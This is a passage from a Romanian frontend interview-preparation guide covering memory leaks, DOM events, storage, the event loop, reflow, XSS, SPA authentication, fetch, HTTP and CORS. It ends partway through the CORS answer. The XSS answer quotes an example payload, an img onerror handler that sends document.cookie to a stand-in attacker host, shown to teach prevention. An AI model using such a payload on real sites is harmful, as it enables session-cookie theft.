  • Legăturile sunt „vii”: dacă modulul exportator schimbă valoarea, importatorul vede valoarea nouă.
  • Rulează automat în strict mode, iar this la nivelul de sus e undefined.
  • import() dinamic stă la baza code splitting-ului: React.lazy(() => import('./Pagina')).

În browser, ESM e suportat nativ prin <script type="module">. În Node.js, ESM e stabil din versiunea 12–14, activat prin "type": "module" în package.json sau extensia .mjs. Interoperabilitatea a fost mult timp o sursă de probleme; Node.js 22 a introdus posibilitatea de a face require pe module ES sincrone.

Pentru frontend, scrii practic doar ESM, dar întâlnești CJS în configurări vechi și pachete npm.

Ce urmărește intervievatorul: Verifică înțelegerea uneltelor de build și a motivului pentru care contează importurile statice. Greșeala tipică: considerarea diferenței ca simplă sintaxă, fără legătura cu tree shaking.

37 Senior

Ce cauzează memory leak-uri într-o aplicație frontend și cum le depistezi?

Răspuns scurt: Cauzele uzuale sunt listener-e, timere și abonamente neeliminate, referințe la elemente DOM șterse, cache-uri care cresc nelimitat și closures care țin date mari. Le depistezi cu panoul Memory din Chrome DevTools, comparând heap snapshot-uri înainte și după o acțiune repetată.

Garbage collector-ul eliberează un obiect doar când nu mai e accesibil pornind de la rădăcini (obiectul global, stiva curentă, listener-ele active). Un leak apare când ceva ține o referință pe care nu o mai folosești. Într-o SPA care rulează ore întregi fără reîncărcare, asta se acumulează.

Cauze frecvente:

  • addEventListener pe window sau document fără removeEventListener;
  • setInterval sau abonamente (WebSocket, store-uri, observables) nedezactivate la demontarea componentei;
  • elemente DOM șterse din pagină, dar păstrate într-o variabilă sau un array („detached DOM”);
  • cache-uri în obiecte globale, fără limită;
  • closures care capturează obiecte mari.
JSX
useEffect(() => {
  const onResize = () => setLatime(window.innerWidth);
  window.addEventListener('resize', onResize);
  const id = setInterval(sincronizeaza, 5000);
  return () => {
    window.removeEventListener('resize', onResize);
    clearInterval(id);
  };
}, []);

Cum depistezi: 1. Reproduci o acțiune repetabilă, de exemplu deschizi și închizi un modal de 10 ori. 2. În DevTools, Memory, faci heap snapshot înainte și după, apoi compari (vederea Comparison). Cauți obiecte al căror număr crește proporțional cu repetările. 3. Filtrezi după „Detached” pentru elemente DOM orfane, iar panoul Retainers îți arată lanțul de referințe care le ține în viață. 4. Panoul Performance, cu opțiunea Memory, arată dacă heap-ul crește în trepte fără să coboare după garbage collection.

Unelte utile la proiectare: AbortController pentru a elimina mai mulți listener-i deodată (addEventListener(..., { signal })), WeakMap pentru metadate atașate obiectelor (nu împiedică colectarea cheilor) și cache-uri cu limită (LRU).

Ce urmărește intervievatorul: La senior contează experiența cu aplicații de lungă durată și metoda de depanare. Greșeala tipică: răspunsul teoretic fără un proces concret cu heap snapshot-uri.

DOM, evenimente și browser

38 Junior

Ce este DOM-ul și cum selectezi, creezi și modifici elemente cu JavaScript?

Răspuns scurt: DOM (Document Object Model) este reprezentarea paginii HTML ca arbore de obiecte, pe care JavaScript îl poate citi și modifica. Selectezi cu querySelector, creezi cu createElement și inserezi cu append sau insertAdjacentElement.

Browserul parsează HTML-ul și construiește un arbore de noduri: documentul, elementele, textele. DOM-ul este un API, nu fișierul HTML: dacă JavaScript adaugă un element, el apare în DOM (și în panoul Elements din DevTools), dar nu în sursa paginii.

JavaScript
// selectare
const lista = document.querySelector('#cursuri');         // primul element
const carduri = document.querySelectorAll('.card');       // NodeList statică
carduri.forEach(c => c.classList.add('vizibil'));

// creare și inserare
const li = document.createElement('li');
li.textContent = 'Curs TypeScript';
li.dataset.id = '42';                 // atributul data-id="42"
lista.append(li);

// modificare
li.classList.toggle('activ');
li.setAttribute('aria-current', 'true');
li.style.color = 'teal';

// ștergere
li.remove();

Detalii care contează la interviu:

  • querySelectorAll întoarce o NodeList statică; getElementsByClassName întoarce o HTMLCollection vie, care se actualizează când DOM-ul se schimbă.
  • textContent inserează text sigur; innerHTML interpretează HTML, deci e periculos cu date de la utilizator (risc XSS).
  • Pentru multe inserări, construiești întâi într-un DocumentFragment sau un string și inserezi o singură dată, ca să eviți recalcularea layout-ului la fiecare pas.
  • Scriptul trebuie să ruleze după ce elementele există: defer, scriptul la final sau evenimentul DOMContentLoaded.

Framework-uri ca React lucrează tot pe DOM, dar calculează ele ce trebuie schimbat; înțelegerea API-ului nativ te ajută să depanezi și să lucrezi cu librării care nu folosesc React.

Ce urmărește intervievatorul: Verifică dacă știi platforma de bază, nu doar framework-ul. Greșeala tipică: folosirea lui innerHTML pentru text dinamic și confuzia dintre NodeList și HTMLCollection.

39 Junior

Ce înseamnă event bubbling și capturing? Ce fac stopPropagation și preventDefault?

Răspuns scurt: Un eveniment parcurge întâi arborele de la document spre țintă (capturing), apoi urcă de la țintă înapoi spre document (bubbling). stopPropagation oprește această propagare, iar preventDefault anulează comportamentul implicit al browserului, cum ar fi trimiterea unui formular.

Când dai click pe un buton dintr-un card, evenimentul nu aparține doar butonului. Are trei faze: 1. Capturing: de la window în jos, prin toți strămoșii, până la țintă. 2. Target: pe elementul pe care ai dat click. 3. Bubbling: înapoi în sus, prin toți strămoșii.

Implicit, addEventListener ascultă în faza de bubbling. Cu { capture: true } asculți la coborâre.

JavaScript
card.addEventListener('click', () => console.log('card'));
buton.addEventListener('click', () => console.log('buton'));
// click pe buton: 'buton', apoi 'card'

card.addEventListener('click', () => console.log('card captură'), { capture: true });
// acum: 'card captură', 'buton', 'card'

stopPropagation oprește drumul evenimentului spre alte elemente:

JavaScript
buton.addEventListener('click', (e) => {
  e.stopPropagation(); // cardul nu mai primește click-ul
});

Folosește-l cu grijă: poate strica funcționalități care se bazează pe evenimente ajunse sus, cum ar fi închiderea unui dropdown la click în afara lui sau scripturile de analytics.

preventDefault nu are legătură cu propagarea: anulează acțiunea implicită.

JavaScript
form.addEventListener('submit', (e) => {
  e.preventDefault();       // fără reîncărcarea paginii
  trimiteCuFetch(new FormData(form));
});

e.target este elementul pe care a avut loc efectiv evenimentul, iar e.currentTarget este elementul pe care e atașat listener-ul. Diferența e importantă la delegare. Unele evenimente nu fac bubbling (focus, blur, mouseenter); au variante care fac (focusin, focusout).

Ce urmărește intervievatorul: E o întrebare de bază despre evenimente, iar intervievatorul vrea ordinea corectă a fazelor. Greșeala tipică: confuzia dintre stopPropagation și preventDefault.

40 Junior

Care e diferența dintre localStorage, sessionStorage și cookies?

Răspuns scurt: localStorage păstrează date până sunt șterse, sessionStorage doar cât trăiește tab-ul, ambele rămân în browser și sunt accesibile din JavaScript. Cookie-urile sunt mici, sunt trimise automat la server cu fiecare cerere și pot fi marcate HttpOnly, adică inaccesibile din JavaScript.

localStorage

  • persistă după închiderea browserului, până la ștergere explicită;
  • de ordinul a câțiva MB per origin (limita exactă diferă între browsere);
  • partajat între toate tab-urile aceluiași origin;
  • API sincron, doar string-uri.

sessionStorage

  • aceleași caracteristici, dar e legat de tab: dispare când închizi tab-ul, iar alt tab are propriul spațiu.

Cookies

  • în jur de 4 KB per cookie;
  • trimise automat în header-ul fiecărei cereri către domeniul lor, inclusiv pentru imagini și scripturi, deci adaugă trafic;
  • au expirare, domeniu, cale și atribute de securitate: HttpOnly (JS nu le poate citi), Secure (doar HTTPS), SameSite (controlează trimiterea în cereri venite de pe alte site-uri).
JavaScript
localStorage.setItem('tema', 'dark');
const tema = localStorage.getItem('tema'); // 'dark' sau null

// obiectele se serializează
localStorage.setItem('filtre', JSON.stringify({ nivel: 'junior' }));
const filtre = JSON.parse(localStorage.getItem('filtre') ?? '{}');

Când folosești ce:

  • preferințe de interfață (temă, filtre, ciorne): localStorage;
  • date temporare dintr-un flux în mai mulți pași: sessionStorage;
  • sesiunea de autentificare: cookie HttpOnly setat de server, pentru că orice script injectat (XSS) poate citi localStorage.

Accesul la storage poate arunca excepții (navigare privată, spațiu plin, setări de blocare), așa că se pune în try/catch. Pentru volume mari de date sau date structurate, varianta potrivită e IndexedDB, care e asincron.

Ce urmărește intervievatorul: Verifică dacă alegi stocarea potrivită, inclusiv din punct de vedere al securității. Greșeala tipică: păstrarea token-urilor de autentificare în localStorage fără a înțelege riscul XSS.

41 Junior

Ce înseamnă event delegation și de ce e utilă?

Răspuns scurt: Event delegation înseamnă să pui un singur listener pe un părinte în loc de câte unul pe fiecare copil și să afli din event.target pe ce element s-a dat click. Funcționează datorită bubbling-ului și acoperă automat și elementele adăugate ulterior.

Să presupunem o listă cu 500 de produse, fiecare cu un buton „Șterge”, iar produsele se pot adăuga dinamic. Varianta naivă pune un listener pe fiecare buton, iar la fiecare element nou trebuie să adaugi altul.

Cu delegare, ai un singur listener pe container:

HTML
<ul id="produse">
  <li data-id="1">Curs HTML <button class="sterge">Șterge</button></li>
  <li data-id="2">Curs CSS <button class="sterge">Șterge</button></li>
</ul>
JavaScript
const lista = document.querySelector('#produse');

lista.addEventListener('click', (e) => {
  const buton = e.target.closest('.sterge');
  if (!buton || !lista.contains(buton)) return; // click în altă parte

  const item = buton.closest('li');
  stergeProdus(item.dataset.id);
  item.remove();
});

De ce closest: dacă butonul conține un icon <svg>, e.target poate fi icon-ul, nu butonul. closest urcă de la țintă până găsește selectorul.

Avantaje:

  • un singur listener în loc de sute, deci mai puțină memorie și setup mai rapid;
  • elementele adăugate mai târziu funcționează automat;
  • nu trebuie să elimini listener-e când ștergi elemente.

Limitări: evenimentele care nu fac bubbling (focus, blur) cer variantele focusin/focusout sau capturing; un stopPropagation pe un copil blochează delegarea.

React folosește chiar acest mecanism: din React 17, atașează listener-ele la rădăcina aplicației (containerul în care a fost montată), nu la fiecare element, iar onClick din JSX este un eveniment sintetic distribuit de acolo.

Ce urmărește intervievatorul: Intervievatorul verifică dacă înțelegi bubbling-ul suficient de bine cât să-l folosești. Greșeala tipică: verificarea doar a lui e.target fără closest, care eșuează când se dă click pe un copil al butonului.

42 Mid

Explică event loop-ul. Ce afișează codul cu setTimeout, Promise și console.log?

Răspuns scurt: JavaScript rulează pe un singur thread: execută codul sincron, apoi golește toată coada de microtask-uri (promisiuni, queueMicrotask), apoi ia un singur macrotask (setTimeout, evenimente), și ciclul se repetă. De aceea promisiunile rulează înaintea unui setTimeout de 0 ms.

JavaScript
console.log('1');
setTimeout(() => console.log('2'), 0);
Promise.resolve().then(() => console.log('3'));
queueMicrotask(() => console.log('4'));
(async () => {
  console.log('5');
  await null;
  console.log('6');
})();
console.log('7');
// 1 5 7 3 4 6 2

Pas cu pas:

  • Codul sincron rulează primul: 1, apoi funcția async rulează sincron până la primul await, deci 5, apoi 7.
  • setTimeout pune callback-ul în coada de macrotask-uri (task queue).
  • .then, queueMicrotask și continuarea de după await intră în coada de microtask-uri, în ordinea în care au fost programate: 3, 4, 6.
  • După ce stiva e goală, motorul golește complet coada de microtask-uri, apoi rulează un macrotask: 2.

Modelul, simplificat: 1. Rulează un task (scriptul inițial, un callback de timer, un eveniment). 2. Rulează toate microtask-urile, inclusiv cele adăugate între timp. 3. Browserul poate randa (stiluri, layout, paint), cu requestAnimationFrame înainte de randare. 4. Următorul task.

Consecințe practice:

  • Un calcul sincron lung blochează tot: click-uri, animații, randarea. Soluția e împărțirea lui în bucăți, un Web Worker sau scheduler.yield() unde e disponibil.
  • Microtask-urile care adaugă la nesfârșit alte microtask-uri înfometează randarea, iar pagina îngheață.
  • setTimeout(fn, 0) nu înseamnă imediat, ci după ce se termină task-ul curent și microtask-urile, iar browserele impun minim 4 ms după mai multe niveluri de imbricare.

În Node.js modelul e asemănător, cu faze suplimentare și process.nextTick, care rulează înaintea promisiunilor.

Ce urmărește intervievatorul: E una dintre cele mai frecvente întrebări de mid și testează înțelegerea modelului de execuție. Greșeala tipică: ignorarea faptului că funcția async rulează sincron până la primul await.

43 Mid

Ce înseamnă reflow (layout) și repaint? Cum eviți layout thrashing?

Răspuns scurt: Reflow înseamnă recalcularea pozițiilor și dimensiunilor elementelor, iar repaint redesenarea pixelilor fără schimbări de geometrie. Layout thrashing apare când alternezi citiri de dimensiuni și scrieri de stil într-o buclă, forțând browserul să recalculeze layout-ul la fiecare pas.

Pentru a afișa o pagină, browserul parcurge etapele: DOM + CSSOM, style, layout, paint, composite. Fiecare modificare declanșează o parte din ele:

  • schimbarea lui width, top, font-size sau adăugarea de elemente produce layout + paint + composite (cel mai scump);
  • schimbarea lui color sau background produce doar paint + composite;
  • transform și opacity pot fi animate doar la nivel de composite, adesea pe GPU (cel mai ieftin).

Browserul grupează schimbările și recalculează layout-ul o dată, înainte de cadrul următor. Dar dacă citești o proprietate geometrică (offsetHeight, getBoundingClientRect(), scrollTop) după o scriere, browserul e obligat să calculeze layout-ul imediat (forced synchronous layout).

JavaScript
// rău: citire și scriere alternate, un layout la fiecare iterație
items.forEach(el => {
  const h = el.offsetHeight;          // citire, forțează layout
  el.style.height = h + 10 + 'px';    // scriere, invalidează layout-ul
});

// bine: întâi toate citirile, apoi toate scrierile
const inaltimi = items.map(el => el.offsetHeight);
items.forEach((el, i) => {
  el.style.height = inaltimi[i] + 10 + 'px';
});

Alte practici:

  • animații cu transform și opacity, nu cu left/top/width;
  • scrieri vizuale grupate în requestAnimationFrame;
  • contain: layout sau content-visibility: auto pentru zone izolate sau din afara ecranului;
  • modificarea unei clase în loc de multe proprietăți style, una câte una.

În DevTools, panoul Performance marchează cu roșu „Forced reflow” și arată ce funcție l-a provocat. Opțiunea Rendering, Paint flashing evidențiază zonele redesenate.

Ce urmărește intervievatorul: Verifică înțelegerea pipeline-ului de randare, esențială pentru animații fluide. Greșeala tipică: animarea proprietăților de layout și citirea dimensiunilor în bucle care scriu stiluri.

44 Mid

Ce este XSS și cum îl previi într-o aplicație frontend?

Răspuns scurt: XSS (Cross-Site Scripting) înseamnă că un atacator reușește să ruleze propriul JavaScript în pagina ta, de obicei prin date nesanitizate inserate ca HTML. Îl previi tratând datele ca text (textContent, escaparea din JSX), sanitizând HTML-ul când e absolut necesar și folosind Content Security Policy.

Dacă un comentariu scris de utilizator ajunge în pagină ca HTML, atacatorul poate insera un script care rulează cu drepturile utilizatorului: citește date din pagină, din localStorage, face cereri în numele lui.

JavaScript
// vulnerabil
comentariuEl.innerHTML = comentariu.text;
// text = '<img src=x onerror="fetch(`https://atacator.example/?c=`+document.cookie)">'

// sigur: tratat ca text
comentariuEl.textContent = comentariu.text;

Tipuri: stocat (datele vin din baza de date), reflectat (din URL, returnat de server), DOM-based (codul frontend citește location.hash sau parametri și îi inserează).

Ce te protejează:

  • React, Vue și Angular escapează automat valorile din template-uri. {comentariu.text} în JSX e sigur.
  • Punctele de risc rămân: dangerouslySetInnerHTML, innerHTML, insertAdjacentHTML, document.write, eval, și atributele href sau src cu valori de forma javascript:... primite de la utilizator.
  • Când trebuie să afișezi HTML (de exemplu conținut dintr-un editor), îl treci printr-un sanitizator ca DOMPurify.
JSX
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />

Straturi suplimentare:

  • Content Security Policy (header trimis de server) interzice scripturile inline și din surse necunoscute, așa că un script injectat nu rulează.
  • Cookie-uri de sesiune HttpOnly, ca să nu poată fi citite de un script injectat.
  • Validarea și escaparea pe server, independent de frontend.

Trusted Types, disponibil în browserele bazate pe Chromium, blochează atribuirile directe la innerHTML dacă valoarea nu trece printr-o politică aprobată.

Ce urmărește intervievatorul: Securitatea e responsabilitatea și a dezvoltatorului frontend. Greșeala tipică: convingerea că React face aplicația imună la XSS, ignorând dangerouslySetInnerHTML și link-urile javascript:.

45 Mid

Ce sunt requestAnimationFrame și IntersectionObserver? Dă exemple de utilizare.

Răspuns scurt: requestAnimationFrame rulează o funcție chiar înainte ca browserul să deseneze cadrul următor, ideal pentru animații fluide. IntersectionObserver anunță asincron când un element intră sau iese din ecran, fără să asculți evenimentul scroll; e folosit pentru lazy loading, scroll infinit și analytics.

requestAnimationFrame (rAF) sincronizează codul cu rata de reîmprospătare a ecranului (de obicei 60 Hz, dar și 120 Hz sau mai mult). Spre deosebire de setInterval, nu rulează în tab-uri ascunse și nu produce cadre sărite din cauza desincronizării.

JavaScript
function animeaza(element, durata = 500) {
  const start = performance.now();
  function pas(acum) {
    const progres = Math.min((acum - start) / durata, 1);
    element.style.transform = `translateX(${progres * 300}px)`;
    if (progres < 1) requestAnimationFrame(pas);
  }
  requestAnimationFrame(pas);
}

Calculezi poziția după timpul trecut, nu după numărul de cadre, ca animația să aibă aceeași viteză pe orice ecran. Pentru animații simple, CSS (transition, @keyframes) sau Web Animations API sunt de preferat.

IntersectionObserver înlocuiește verificările costisitoare de tip getBoundingClientRect() pe fiecare eveniment scroll:

JavaScript
const observer = new IntersectionObserver((intrari) => {
  intrari.forEach((intrare) => {
    if (intrare.isIntersecting) {
      incarcaPaginaUrmatoare();
    }
  });
}, { rootMargin: '200px' }); // declanșează cu 200px înainte

observer.observe(document.querySelector('#santinela'));
// la demontare: observer.disconnect();

Utilizări: scroll infinit (un element „santinelă” la final de listă), animații la apariție, încărcarea întârziată a componentelor grele, măsurarea dacă o reclamă sau o secțiune a fost văzută.

Din aceeași familie: ResizeObserver (schimbări de dimensiune ale unui element, nu ale ferestrei) și MutationObserver (schimbări în DOM). Toate rulează callback-urile asincron și grupat, deci sunt mult mai eficiente decât verificările manuale.

Ce urmărește intervievatorul: Arată dacă știi API-urile moderne ale browserului pentru performanță. Greșeala tipică: animații cu setInterval și listener-e de scroll care calculează poziții la fiecare eveniment.

46 Senior

Ce se întâmplă, pas cu pas, din momentul în care scrii un URL în browser și apeși Enter?

Răspuns scurt: Browserul rezolvă domeniul prin DNS, deschide o conexiune TCP (sau QUIC) și negociază TLS, trimite cererea HTTP, primește HTML-ul, apoi îl parsează, descarcă resursele, construiește DOM-ul și CSSOM-ul, calculează layout-ul și desenează pagina.

Un răspuns bun merge prin etape și se oprește unde întreabă intervievatorul:

1. Interpretarea adresei: browserul decide dacă e URL sau căutare, verifică lista HSTS (dacă domeniul cere doar HTTPS) și service worker-ul înregistrat, care poate răspunde din cache. 2. DNS: caută adresa IP în cache-ul browserului, al sistemului de operare, apoi întreabă resolver-ul DNS. 3. Conexiunea: TCP cu handshake în trei pași și TLS pentru HTTPS (TLS 1.3 adaugă o singură călătorie dus-întors). Cu HTTP/3, QUIC combină transportul și criptarea peste UDP. 4. Cererea HTTP: metoda GET, header-e, cookie-uri. Pe parcurs pot interveni CDN-uri, redirecționări (301, 302) și cache-ul HTTP (304 Not Modified). 5. Răspunsul: HTML-ul vine treptat; browserul începe parsarea înainte să primească tot documentul. 6. Parsarea: construiește DOM-ul. Un scanner auxiliar (preload scanner) descoperă devreme CSS, scripturi și imagini și le descarcă în paralel. CSS-ul blochează randarea; scripturile fără defer/async blochează parsarea. 7. Randarea: DOM + CSSOM formează arborele de randare, apoi layout (geometrie), paint (pixeli pe straturi), composite (combinarea straturilor, adesea pe GPU). 8. Interactivitate: JavaScript-ul rulează, atașează evenimente, eventual hidratează aplicația. Apar DOMContentLoaded, apoi load.

Unde intervine frontend developerul, ca optimizări:

  • preconnect sau dns-prefetch pentru domenii externe;
  • CSS critic mic, scripturi cu defer, imagini cu dimensiuni;
  • cache cu header-e potrivite și fișiere cu hash în nume;
  • HTML generat pe server sau static, ca primul conținut să apară fără să aștepte JavaScript-ul.

Metricile Core Web Vitals (LCP, CLS, INP) măsoară experiența rezultată din acest proces.

Ce urmărește intervievatorul: Întrebarea arată cât de adânc înțelegi întreaga platformă web și legătura cu performanța. Greșeala tipică: un răspuns care se oprește la DNS sau sare complet peste etapa de randare.

47 Senior

Cum protejezi autentificarea într-o aplicație SPA? Discută cookie-uri, token-uri și CSRF.

Răspuns scurt: Varianta cea mai sigură pentru o aplicație web este sesiunea sau token-ul într-un cookie HttpOnly, Secure, SameSite, setat de server. Asta te protejează de furtul prin XSS, dar trebuie să te aperi de CSRF prin SameSite și token-uri anti-CSRF pentru cererile care modifică date.

Două riscuri principale trag în direcții opuse:

XSS (script străin rulat în pagină): orice e accesibil din JavaScript poate fi furat. Un JWT în localStorage poate fi trimis atacatorului și folosit de pe alt calculator până expiră.

CSRF (Cross-Site Request Forgery): alt site face o cerere către API-ul tău, iar browserul atașează automat cookie-urile utilizatorului autentificat. Atacatorul nu vede răspunsul, dar poate declanșa acțiuni.

Configurare uzuală, cu cookie:

Set-Cookie: sesiune=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
  • HttpOnly: JavaScript nu poate citi cookie-ul.
  • Secure: trimis doar pe HTTPS.
  • SameSite=Lax: nu e trimis în cererile POST inițiate de alte site-uri (implicit în Chrome din 2020 pentru cookie-urile fără atribut); Strict e și mai restrictiv, dar strică navigarea din link-uri externe.

Pentru protecție completă împotriva CSRF: un token anti-CSRF trimis într-un header personalizat la cererile POST/PUT/DELETE și verificat pe server, plus verificarea header-ului Origin. Cererile cu header-e personalizate declanșează preflight CORS, pe care un site străin nu îl poate trece.

JavaScript
await fetch('/api/profil', {
  method: 'PUT',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken },
  body: JSON.stringify(date),
});

Dacă API-ul e pe alt domeniu și se folosesc token-uri: access token scurt, ținut doar în memorie, plus refresh token în cookie HttpOnly. Tiparul BFF (Backend for Frontend) mută token-urile OAuth pe un server intermediar, iar browserul vede doar un cookie de sesiune.

Nicio variantă nu salvează aplicația dacă are XSS; CSP și escaparea rămân obligatorii.

Ce urmărește intervievatorul: La senior se așteaptă înțelegerea compromisurilor de securitate, nu o rețetă. Greșeala tipică: răspunsul „JWT în localStorage e standard” fără discuția despre XSS și CSRF.

Asincron, HTTP și API-uri

48 Junior

Ce este un Promise și în ce stări se poate afla?

Răspuns scurt: Un Promise este un obiect care reprezintă rezultatul viitor al unei operații asincrone. Are trei stări: pending (în așteptare), fulfilled (rezolvat cu o valoare) și rejected (respins cu o eroare); odată stabilit, nu își mai schimbă starea.

Înainte de promisiuni, operațiile asincrone foloseau callback-uri, iar mai multe operații înlănțuite duceau la cod imbricat greu de citit și la tratarea erorilor în fiecare nivel. Promisiunea standardizează rezultatul unei operații care se termină mai târziu.

JavaScript
function asteapta(ms) {
  return new Promise((resolve) => setTimeout(resolve, ms));
}

function incarcaUser(id) {
  return new Promise((resolve, reject) => {
    if (!id) return reject(new Error('Lipsește id-ul'));
    setTimeout(() => resolve({ id, nume: 'Ana' }), 500);
  });
}

incarcaUser(7)
  .then(user => user.nume)          // întoarce o valoare: se transmite mai departe
  .then(nume => console.log(nume))  // 'Ana'
  .catch(err => console.error(err.message))
  .finally(() => console.log('gata'));

Reguli importante:

  • then întoarce întotdeauna un promise nou, de aceea poți înlănțui.
  • Dacă dintr-un then întorci un alt promise, lanțul așteaptă rezolvarea lui.
  • O excepție aruncată într-un then devine respingere și ajunge la cel mai apropiat catch.
  • resolve sau reject apelate de mai multe ori nu au efect după primul apel: starea e finală.
  • Callback-urile din then rulează întotdeauna asincron, ca microtask-uri, chiar dacă promise-ul era deja rezolvat.

Un promise respins fără catch produce eroarea „Unhandled promise rejection” în consolă și evenimentul unhandledrejection pe window. Construcția new Promise e necesară doar pentru a „împacheta” API-uri vechi bazate pe callback-uri; altfel lucrezi cu promise-urile întoarse de fetch și alte API-uri moderne.

Ce urmărește intervievatorul: Promisiunile stau la baza oricărui cod asincron modern. Greșeala tipică: uitarea lui return în then, ceea ce rupe lanțul și pierde valoarea sau eroarea.

49 Junior

Cum funcționează async/await și cum tratezi erorile?

Răspuns scurt: async face ca o funcție să întoarcă întotdeauna un Promise, iar await suspendă execuția funcției până se rezolvă promise-ul, fără să blocheze thread-ul. Erorile se prind cu try/catch, ca la codul sincron.

async/await e sintaxă peste promisiuni care face codul asincron să se citească de sus în jos:

JavaScript
async function incarcaProfil(id) {
  try {
    const raspuns = await fetch(`/api/useri/${id}`);
    if (!raspuns.ok) {
      throw new Error(`Eroare HTTP ${raspuns.status}`);
    }
    const user = await raspuns.json();
    return user;                 // promise rezolvat cu user
  } catch (err) {
    console.error('Nu am putut încărca profilul', err);
    throw err;                   // lași apelantul să decidă
  } finally {
    ascundeSpinner();
  }
}

Ce trebuie să știi:

  • await funcționează doar într-o funcție async sau la nivelul de sus al unui modul ES (top-level await).
  • O funcție async întoarce mereu un promise; valoarea din return devine valoarea rezolvată, iar o excepție devine respingere.
  • await nu blochează browserul: funcția se suspendă, iar restul codului și interfața continuă să ruleze.

O capcană frecventă e serializarea inutilă:

JavaScript
// lent: a doua cerere pornește abia după prima
const user = await getUser();
const cursuri = await getCursuri();

// rapid: pornesc în paralel
const [user2, cursuri2] = await Promise.all([getUser(), getCursuri()]);

A doua capcană: forEach nu așteaptă callback-urile async. Folosește for...of pentru execuție secvențială sau Promise.all(lista.map(...)) pentru paralel.

În catch, nu „înghiți” eroarea fără să faci nimic: fie o afișezi utilizatorului, fie o trimiți mai departe sau o raportezi într-un serviciu de monitorizare.

Ce urmărește intervievatorul: Verifică dacă scrii cod asincron corect și eficient. Greșeala tipică: await-uri secvențiale pentru cereri independente și folosirea lui forEach cu funcții async.

50 Junior

Cum faci o cerere GET și una POST cu fetch? De ce fetch nu aruncă eroare la un răspuns 404?

Răspuns scurt: fetch(url) face implicit un GET; pentru POST transmiți method, headers și body. fetch respinge promise-ul doar la erori de rețea; un 404 sau 500 este un răspuns HTTP valid, așa că trebuie să verifici singur response.ok sau response.status.

JavaScript
// GET
async function getCursuri() {
  const res = await fetch('/api/cursuri?nivel=junior');
  if (!res.ok) throw new Error(`HTTP ${res.status}`);
  return res.json();
}

// POST cu JSON
async function creeazaComentariu(text) {
  const res = await fetch('/api/comentarii', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ text }),
  });
  if (!res.ok) {
    const detalii = await res.json().catch(() => null);
    throw new Error(detalii?.mesaj ?? `HTTP ${res.status}`);
  }
  return res.json();
}

De ce nu aruncă la 404: din punctul de vedere al lui fetch, cererea a reușit. Serverul a răspuns, chiar dacă răspunsul e o eroare de aplicație. Promise-ul e respins doar dacă nu există răspuns: rețea căzută, DNS eșuat, blocare CORS, cerere anulată. res.ok este true pentru statusurile 200–299.

Alte detalii:

  • res.json() citește corpul tot asincron și aruncă dacă acesta nu e JSON valid; corpul se poate citi o singură dată.
  • Pentru formulare cu fișiere trimiți direct un FormData ca body, fără să setezi Content-Type; browserul pune singur valoarea corectă, cu delimitatorul de părți.
  • Cookie-urile sunt trimise implicit doar pentru același origin; pentru alt domeniu ai nevoie de credentials: 'include' și de acordul serverului prin CORS.
  • fetch nu are timeout implicit; folosești AbortSignal.timeout(5000) în opțiunea signal.

În proiecte reale, aceste verificări se pun într-o singură funcție-wrapper sau se folosește o librărie (axios, ky), ca fiecare apel să trateze erorile la fel.

Ce urmărește intervievatorul: Aproape orice temă de interviu consumă un API, iar intervievatorul se uită exact la tratarea erorilor. Greșeala tipică: presupunerea că un 500 ajunge în catch.

51 Junior

Care sunt metodele HTTP principale și ce înseamnă codurile de status 2xx, 3xx, 4xx și 5xx?

Răspuns scurt: GET citește, POST creează, PUT înlocuiește, PATCH modifică parțial, DELETE șterge. Codurile 2xx înseamnă succes, 3xx redirecționare, 4xx eroare a clientului (cerere greșită, neautorizat, inexistent), iar 5xx eroare a serverului.

Într-un API REST, metoda descrie intenția, iar URL-ul descrie resursa:

  • GET /api/cursuri: citește o listă; nu modifică date, poate fi pusă în cache.
  • POST /api/cursuri: creează o resursă nouă.
  • PUT /api/cursuri/5: înlocuiește complet resursa.
  • PATCH /api/cursuri/5: modifică doar câmpurile trimise.
  • DELETE /api/cursuri/5: șterge.

Două proprietăți apar des la interviu. Sigură (safe) înseamnă că metoda nu modifică starea: GET, HEAD, OPTIONS. Idempotentă înseamnă că repetarea cererii are același efect ca o singură cerere: GET, PUT, DELETE sunt idempotente, POST nu. Contează când reîncerci automat o cerere după o eroare de rețea: un POST repetat poate crea două comenzi.

Codurile de status cele mai întâlnite:

  • 200 OK, 201 Created (după POST), 204 No Content (succes fără corp);
  • 301 / 308 redirecționare permanentă, 302 / 307 temporară, 304 Not Modified (folosește copia din cache);
  • 400 Bad Request (date invalide), 401 Unauthorized (nu ești autentificat), 403 Forbidden (ești autentificat, dar nu ai dreptul), 404 Not Found, 409 Conflict, 422 Unprocessable Content (validare eșuată), 429 Too Many Requests;
  • 500 Internal Server Error, 502 Bad Gateway, 503 Service Unavailable.

În frontend, statusul decide reacția interfeței: la 401 redirecționezi spre autentificare, la 403 afișezi „nu ai acces”, la 422 afișezi erorile lângă câmpuri, la 429 sau 503 poți reîncerca după o pauză, la 500 afișezi un mesaj generic și raportezi eroarea.

Ce urmărește intervievatorul: Verifică dacă înțelegi contractul dintre frontend și backend. Greșeala tipică: confuzia dintre 401 și 403 sau tratarea tuturor erorilor cu același mesaj generic.

52 Mid

Ce este CORS și de ce primești eroarea „blocked by CORS policy”?

Răspuns scurt: Browserul aplică same-origin policy: un script nu poate citi răspunsuri de la alt origin (protocol, domeniu, port) decât dacă serverul acela permite explicit prin header-e CORS precum Access-Control-Allow-Origin. Eroarea se rezolvă pe server, nu în frontend.

Un origin e combinația protocol + domeniu + port. https://app.exemplu.ro și https://api.exemplu.ro sunt origini diferite, la fel http://localhost:5173 și http://localhost:8080.

Same-origin policy există ca un site rău intenționat să nu poată citi, cu cookie-urile tale, datele din contul tău bancar deschis în alt tab. CORS (Cross-Origin Resource Sharing) e mecanismul prin care un server spune: „accept ca această origine să-mi citească răspunsurile”.

Pentru cereri simple (GET, sau POST cu anumite tipuri de conținut), browserul trimite cererea cu header-ul Origin, iar serverul răspunde:

Access-Control-Allow-Origin: https://app.exemplu.ro

Dacă header-ul lipsește sau nu se potrivește, cererea a ajuns la server, dar browserul nu-i dă scriptului acces la răspuns.

Pentru cereri „complexe” (PUT, DELETE, Content-Type: application/json, header-e personalizate), browserul trimite întâi o cerere preflight OPTIONS:

Access-Control-Allow-Origin: https://app.exemplu.ro
